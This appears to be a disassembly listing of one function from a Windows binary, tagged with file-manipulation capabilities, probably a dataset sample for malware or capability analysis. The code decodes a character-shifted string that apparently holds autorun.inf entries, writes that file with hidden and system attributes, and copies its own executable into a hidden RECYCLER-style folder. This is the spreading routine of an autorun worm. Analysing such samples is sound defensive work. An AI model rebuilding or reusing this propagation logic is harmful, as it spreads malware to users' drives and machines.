Function at 0x401c20
Capabilities:
Copy file
Create directory
Delete file
Get file size
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x34
mov eax, dword [0x4086b4]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push edi
push 0x1e0
push 8
push eax
call ebp
mov ecx, dword [0x4086b4]
push 0x8c
push 8
push ecx
mov edi, eax
call ebp
mov edx, dword [esp + 0x48]
push edx
mov esi, eax
push 0x45
push esi
mov dword [esp + 0x24], esi
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, dword [0x4086ac]
push eax
push 0x45
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
xor eax, eax
add esp, 0x18
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
xor esi, esi
jmp 0x401cb0
mov ecx, dword [0x4086b4]
push 0x190
push 8
push ecx
call ebp
mov dword [esp + esi*4 + 0x1c], eax
add esi, 1
cmp esi, 9
mov word [eax], 0
jle 0x401cb0
xor ebp, ebp
xor esi, esi
xor edx, edx
jmp 0x401ce0
movzx eax, word [ebp*2 + str.X_rqlorkZ_Lmbk:OB_V_IBOY_Bumilob:OB_V_IBOY__rqlMiv:OB_V_IBOY_pebiiYLmbkY_ljjka:OB_V_IBOY_pebiiYLmbkYAbcriq:._pebiiYBumilobY_ljjka:OB_V_IBOY_pebiiY_rqlmivY_ljjka:OB_V_IBOY]
movzx ecx, ax
add ecx, 3
cmp ecx, 0x23
je 0x401d03
mov ecx, dword [esp + esi*4 + 0x1c]
add eax, 3
mov word [ecx + edx*2], ax
add edx, 1
jmp 0x401d12
mov eax, dword [esp + esi*4 + 0x1c]
mov word [eax + edx*2], 0
add esi, 1
xor edx, edx
mov eax, str.X_rqlorkZ_Lmbk:OB_V_IBOY_Bumilob:OB_V_IBOY__rqlMiv:OB_V_IBOY_pebiiYLmbkY_ljjka:OB_V_IBOY_pebiiYLmbkYAbcriq:._pebiiYBumilobY_ljjka:OB_V_IBOY_pebiiY_rqlmivY_ljjka:OB_V_IBOY
add ebp, 1
lea ebx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401d20
sub eax, ebx
sar eax, 1
add eax, 0xffffffff
cmp ebp, eax
jbe 0x401ce0
mov ecx, dword [esp + esi*4 + 0x1c]
mov esi, edi
mov word [ecx + edx*2], 0
call fcn.004025e0
mov edx, dword [esp + 0x40]
push edi
push 0xc6
push edx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov ebx, dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0xc
xor esi, esi
test esi, esi
je 0x401d82
cmp esi, 5
je 0x401d82
mov eax, dword [esp + esi*4 + 0x1c]
cmp word [eax], 0
je 0x401d82
push edi
push 0xc6
push eax
call ebx
add esp, 0xc
add esi, 1
cmp esi, 7
jle 0x401d63
mov eax, dword [esp + 0x48]
mov ebx, dword [esp + 0x3c]
push eax
push 0xc6
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov ecx, dword [0x4085d0]
push ecx
push 0xc6
push ebx
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0x18
push 0
push 6
push 1
push 0
push 1
push 0x1f01ff
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x4020fe
push 0
push 0
push 4
push 0
push 1
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4025d3
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x1f6
jne 0x401e28
call section..text
test eax, eax
jne 0x401e28
mov ebx, dword [esp + 0x40]
mov eax, esi
call fcn.00403280
jmp 0x40238e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push pe_nt_image_headers32
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 6
push 1
push 0
push 1
push 0x1f01ff
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov eax, dword [esp + 0x1c]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x401e61
sub eax, ecx
mov ecx, dword [esp + 0x1c]
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
push 0x40726c
mov eax, 0xc6
call fcn.004051f0
mov eax, edi
add esp, 4
lea ecx, [eax + 2]
lea esp, [esp]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x401ea0
sub eax, ecx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push edi
push esi
call ebp
mov ecx, dword [esp + 0x20]
mov eax, ecx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x401ec6
sub eax, ebx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
jmp 0x401ef0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401ef0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ecx, dword [esp + 0x24]
mov eax, ecx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x401f17
sub eax, ebx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401f40
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x28]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401f67
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401f90
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ebx, dword [esp + 0x2c]
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401fb7
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push ebx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401fe0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x30]
mov eax, edx
lea ecx, [eax + 2]
mov dword [esp + 0x14], ecx
jmp 0x402010
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402010
sub eax, dword [esp + 0x14]
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402034
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x34]
mov eax, edx
lea ecx, [eax + 2]
mov dword [esp + 0x14], ecx
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402060
sub eax, dword [esp + 0x14]
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402084
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x38]
mov eax, edx
lea ecx, [eax + 2]
mov dword [esp + 0x14], ecx
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4020b0
sub eax, dword [esp + 0x14]
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4020d4
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402399
mov ebx, dword [esp + 0x1c]
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402107
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push ebx
push esi
call ebp
push 0x40726c
mov eax, 0xc6
call fcn.004051f0
mov eax, edi
add esp, 4
lea ecx, [eax + 2]
lea esp, [esp]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x402140
sub eax, ecx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ecx, dword [esp + 0x20]
mov eax, ecx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x402167
sub eax, ebx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402190
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ecx, dword [esp + 0x24]
mov eax, ecx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x4021b7
sub eax, ebx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4021e0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x28]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402207
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402230
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov ebx, dword [esp + 0x2c]
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402257
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push ebx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402280
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x30]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4022a7
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4022d0
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x34]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4022f7
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402320
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
mov edx, dword [esp + 0x38]
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402347
sub eax, ebx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
add eax, eax
push eax
push edx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402370
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
push edx
push edi
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x2c]
mov eax, dword [esp + 0x3c]
push 7
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [esp + 0x48]
mov esi, dword [esp + 0x1c]
push ecx
push 0xc6
push esi
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov edx, dword [0x4085d4]
push edx
push 0xc6
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [0x4085d8]
push eax
push 0xbc
push esi
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0xc
push 0
push pe_nt_image_headers32
push 1
push 0
push 1
push 0x1f01ff
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4024dd
push 0x40726c
mov eax, 0xc6
call fcn.004051f0
mov ecx, dword [0x4085dc]
mov edx, dword [esp + 0x24]
push ecx
push 0xc6
push edx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, dword [0x4085e0]
mov ecx, dword [esp + 0x34]
push eax
push 0xc6
push ecx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov eax, dword [esp + 0x3c]
add esp, 0x1c
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402467
mov ecx, dword [esp + 0x20]
sub eax, edx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push ecx
push esi
call ebp
mov eax, edi
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402490
sub eax, edx
push 0
sar eax, 1
lea edx, [esp + 0x14]
push edx
add eax, eax
push eax
push edi
push esi
call ebp
mov eax, dword [esp + 0x24]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4024b4
sub eax, edx
push 0
sar eax, 1
lea ecx, [esp + 0x14]
push ecx
lea edx, [eax + eax]
mov eax, dword [esp + 0x2c]
push edx
push eax
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x103
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [esp + 0x48]
push ecx
push 0xc6
push ebx
call dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov edx, dword [0x4085e4]
mov esi, dword [sym.imp.MSVCR80.dll_wcscat_s]
push edx
push 0xc6
push ebx
call esi
mov eax, dword [esp + 0x58]
push eax
push 0xc6
push ebx
call esi
add esp, 0x24
push 0
push pe_nt_image_headers32
push 1
push 0
push 1
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call ebp
call ebp
cmp eax, 0x50
jne 0x40257b
push ebx
call fcn.00401280
add esp, 4
test eax, eax
push esi
je 0x402573
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push pe_nt_image_headers32
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call ebp
jmp 0x402589
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402593
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
jmp 0x4025a0
mov ecx, dword [esp + esi*4 + 0x1c]
mov edx, dword [0x4086b4]
push ecx
push 0
push edx
call ebp
add esi, 1
cmp esi, 9
jle 0x4025a0
mov eax, dword [0x4086b4]
push edi
push 0
push eax
call ebp
mov ecx, dword [esp + 0x18]
mov edx, dword [0x4086b4]
push ecx
push 0
push edx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret